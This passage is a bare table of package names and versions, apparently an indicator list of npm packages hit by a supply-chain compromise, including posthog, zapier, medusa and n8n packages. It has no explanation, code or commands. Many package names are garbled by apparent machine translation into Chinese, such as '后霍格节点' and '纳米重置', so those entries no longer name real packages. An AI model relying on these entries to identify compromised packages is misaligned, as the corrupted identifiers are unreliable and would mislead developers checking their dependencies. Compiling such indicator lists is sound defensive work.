| 精确交易员 | 0.3.5 |
| 展览音频会议 | 0.2.1 |
| 浓缩咖啡 | 1.1.3 |
| 手指粗大 | 1.0.2、1.0.1 |
| 功能翻转 | 1.0.2、1.0.1 |
| firestore搜索引擎 | 1.2.3 |
| fittxt | 1.0.3、1.0.2 |
| 叠式堆叠 | 1.0.2、1.0.1 |
| 展平-展开 | 1.0.2、1.0.1 |
| formik-error-focus | 2.0.1 |
| formik-store | 1.0.1 |
| 模糊查找器 | 1.0.5、1.0.6 |
| gate-evm-check-code2 | 2.0.3、2.0.4、2.0.5、2.0.6 |
| gate-evm-tools-test | 1.0.7、1.0.8、1.0.5、1.0.6 |
| gatsby-plugin-cname | 1.0.2、1.0.1 |
| 生成器-流星-库存 | 0.1.6 |
| generator-ng-itobuz | 0.0.15 |
| 获取参数 | 1.3.3 |
| github-action-for-generator | 2.1.28、2.1.27 |
| gitsafe | 1.0.5 |
| go-template | 0.1.8、0.1.9 |
| gulp-inject-envs | 1.2.2、1.2.1 |
| haufe-axera-api-client | 0.0.1、0.0.2 |
| 希望地图盒画 | 0.1.1 |
| 希望画 | 1.0.3 |
| 悬浮设计原型 | 0.0.5 |
| 性 | 1.0.3、1.0.2 |
| 超全脸 | 1.0.3 |
| 超速嬉皮士 | 1.0.7 |
| ids-css | 1.5.1 |
| ids-enterprise-mcp服务器 | 0.0.2 |
| ids-enterprise-ng | 20.1.6 |
| ids-enterprise类型 | 20.1.6 |
| 图片转URI | 1.0.2、1.0.1 |
| 失眠插件随机选择 | 1.0.4 |
| 发票 | 0.2.2 |
| 铁盾迷你应用 | 0.0.2 |
| 按钮 | 8.0.3 |
| itobuz-angular | 0.0.1 |
| itobuz-angular-auth | 8.0.11 |
| itobuz-angular-button | 8.0.11 |
| 雅各布·祖玛 | 1.0.2、1.0.1 |
| jaetut-varit-test | 1.0.2 |
| jan-browser | 0.13.1 |
| jQuery绑定 | 1.1.3、1.1.2 |
| jsonsurge | 1.0.7 |
| 刚刚烤熟 | 1.7.1 |
| 杀伤端口 | 2.0.3、2.0.2 |
| korea-administrative-area-geo-json-util | 1.0.7 |
| 夸米 | 1.5.9、1.5.10 |
| 语言代码 | 1.0.2、1.0.1 |
| 许可证自动机 | 1.2.2、1.2.1 |
| lint-staged-imagemin | 1.3.1、1.3.2 |
| lite-serper-mcp-server | 0.2.2 |
| luno-api | 1.2.3 |
| 手动计费系统小程序 API | 1.3.1 |
| medusa-plugin-announcement | 0.0.3 |
| medusa-plugin-logs | 0.0.17 |
| medusa-plugin-momo | 0.0.68 |
| medusa-plugin-product-reviews-kvy | 0.0.4 |
| medusa-plugin-zalopay | 0.0.40 |
| mod10校验位 | 1.0.1 |
| mon-package-react-typescript | 1.0.1 |
| 我的赛义德·利布 | 0.1.1 |
| n8n-nodes-tmdb | 0.5.1 |
| n8n-nodes-vercel-ai-sdk | 0.1.7 |
| n8n-nodes-viral-app | 0.2.5 |
| 纳米重置 | 7.0.2、7.0.1 |
| 下一个循环依赖 | 1.0.3、1.0.2 |
| 下一个简单谷歌分析 | 1.1.1、1.1.2 |
| 下一个样式进度 | 1.0.4、1.0.5 |
| ngx-useful-swiper-prosenjit | 9.0.2 |
| ngx-wooapi | 12.0.1 |
| 普通商店 | 1.3.1、1.3.4、1.3.3、1.3.2 |
| obj-to-css | 1.0.3、1.0.2 |
| okta-react-router-6 | 5.0.1 |
| open2internet | 0.1.1 |
| 轨道框图标 | 2.1.3 |
| 轨道星云绘制工具 | 1.0.10 |
| 轨道星云编辑器 | 1.0.2 |
| 轨道肥皂 | 0.43.13 |
| 管弦乐团 | 12.1.2 |
| 软件包测试器 | 1.0.1 |
| parcel-plugin-asset-copier | 1.1.3、1.1.2 |
| pdf注释 | 0.0.2 |
| 皮克莱特 | 1.0.1 |
| 皮升 | 1.0.4、1.0.3 |
| pkg-readme | 1.1.1 |
| poper-react-sdk | 0.1.2 |
| 猪后多库龙 | 2.0.6 |
| posthog-js | 1.297.3 |
| 后霍格节点 | 4.18.1、5.13.3、5.11.3 |
| posthog-plugin-hello-world | 1.0.1 |
| posthog-react-native | 4.11.1、4.12.5 |
| posthog-react-native-session-replay | 1.2.2 |
| 质数一表 | 0.0.19 |
| 提示-eng | 1.0.50 |
| puny-req | 1.0.3 |
| ra-auth-firebase | 1.0.3 |
| ra-data-firebase | 1.0.8、1.0.7 |
| react-component-taggers | 0.1.9 |
| react-data-to-export | 1.0.1 |
| react-element-prompt-inspector | 0.1.18 |
| react-favic | 1.0.2 |
| react-hook-form-persist | 3.0.2、3.0.1 |
| react-jam-icons | 1.0.2、1.0.1 |
| react-keycloak-context | 1.0.8、1.0.9 |
| react-library-setup | 0.0.6 |
| react-linear-loader | 1.0.2 |
| react-micromodal.js | 1.0.2、1.0.1 |
| react-native-datepicker-modal | 1.3.1、1.3.2 |
| react-native-email | 2.1.1、2.1.2 |
| react-native-fetch | 2.0.1、2.0.2 |
| react-native-get-pixel-dimensions | 1.0.2、1.0.1 |
| react-native-google-maps-directions | 2.1.2 |
| react-native-jam-icons | 1.0.2、1.0.1 |
| react-native-log-level | 1.2.2、1.2.1 |
| react-native-modest-checkbox | 3.3.1 |
| react-native-modest-storage | 2.1.1 |
| react-native-电话 | 1.2.2、1.2.1 |
| react-native-retriable-fetch | 2.0.1、2.0.2 |
| react-native-use-modal | 1.0.3 |
| react-native-view-finder | 1.2.2、1.2.1 |
| react-native-websocket | 1.0.4、1.0.3 |
| react-native-worklet-functions | 3.3.3 |
| react-qr-image | 1.1.1 |
| Rediff的 | 1.0.5 |
| rediff-viewer | 0.0.7 |
| redux-router-kit | 1.2.2、1.2.4、1.2.3 |
| rollup-plugin-httpfile | 0.2.1 |
| sa-公司注册号正则表达式 | 1.0.2、1.0.1 |
| sa-id-gen | 1.0.4、1.0.5 |
| 一样 | 1.0.3 |
| scgs-capacitor-subscribe | 1.0.11 |
| scgsffcreator | 1.0.5 |
| 设置嵌套属性 | 2.0.1、2.0.2 |
| 书架-jwt-会话 | 0.1.2 |
| shell-exec | 1.1.4、1.1.3 |
| 新韩极限废料 | 1.0.3 |
| 技能运用 | 0.1.2、0.1.1 |
| 所罗门 API 故事 | 1.0.2 |
| 所罗门-v3-故事 | 1.15.6 |
| solomon-v3-ui-wrapper | 1.6.1 |
| 按距离排序 | 2.0.1 |
| 南非身份证信息 | 1.0.2 |
| 统计函数 | 1.0.1 |
| 商店 | 2.3.2 |
| 超级commit | 1.0.1 |
| svelte-autocomplete-select | 1.1.1 |
| 苗条温暖 | 1.1.3、1.1.2 |
| tanstack-shadcn-table | 1.1.5 |
| tcsp | 2.0.2 |
| tcsp-draw-test | 1.0.5 |
| tcsp-test-vd | 2.4.4 |
| 模板库 | 1.1.4、1.1.3 |
| 模板微服务 | 1.0.3、1.0.2 |
| 顽强地取回 | 2.3.3、2.3.2 |
| 测试 Foundry 应用 | 1.0.4、1.0.3、1.0.2、1.0.1 |
| 测试安全帽应用 | 1.0.4、1.0.3、1.0.2、1.0.1 |
| test23112222-api | 1.0.1 |
| 蒂安 | 1.0.2 |
| token.js-fork | 0.7.32 |
| trigo-react-app | 4.1.2 |
| 类型围栏 | 1.2.2、1.2.3 |
| typeorm-orbit | 0.2.27 |
| undefsafe 类型 | 1.0.4、1.0.3 |
| 乌普兰杜伊 | 0.5.4 |
| 上传到应用商店 | 1.0.2、1.0.1 |
| URL编码解码 | 1.0.2、1.0.1 |
| 使用未保存的更改 | 1.0.9 |
| 有效的南非身份证 | 1.0.3 |
| vf-oss-模板 | 1.0.4、1.0.3、1.0.2、1.0.1 |
| vite-plugin-httpfile | 0.2.1 |
| vue-browserupdate-nuxt | 1.0.5 |
| 网络爬虫-mcp | 1.1.4 |
| web-types-htmx | 0.1.1 |
| 网络类型 | 0.1.1 |
| webpack-loader-httpfile | 0.2.1 |
| 健康专家画廊 | 5.1.1 |
| 温克 | 1.0.9、1.0.10 |
| zapier-async-storage | 1.0.3、1.0.2、1.0.1 |
| zapier-platform-cli | 18.0.4、18.0.3、18.0.2 |
| zapier-platform-core | 18.0.4、18.0.3、18.0.2 |
| zapier平台架构 | 18.0.4、18.0.3、18.0.2 |
| Zapier脚本 | 7.8.3、7.8.4 |
| zuper-cli | 1.0.1 |
| zuper-sdk | 1.0.57 |
| zuper-stream | 2.0.9 |





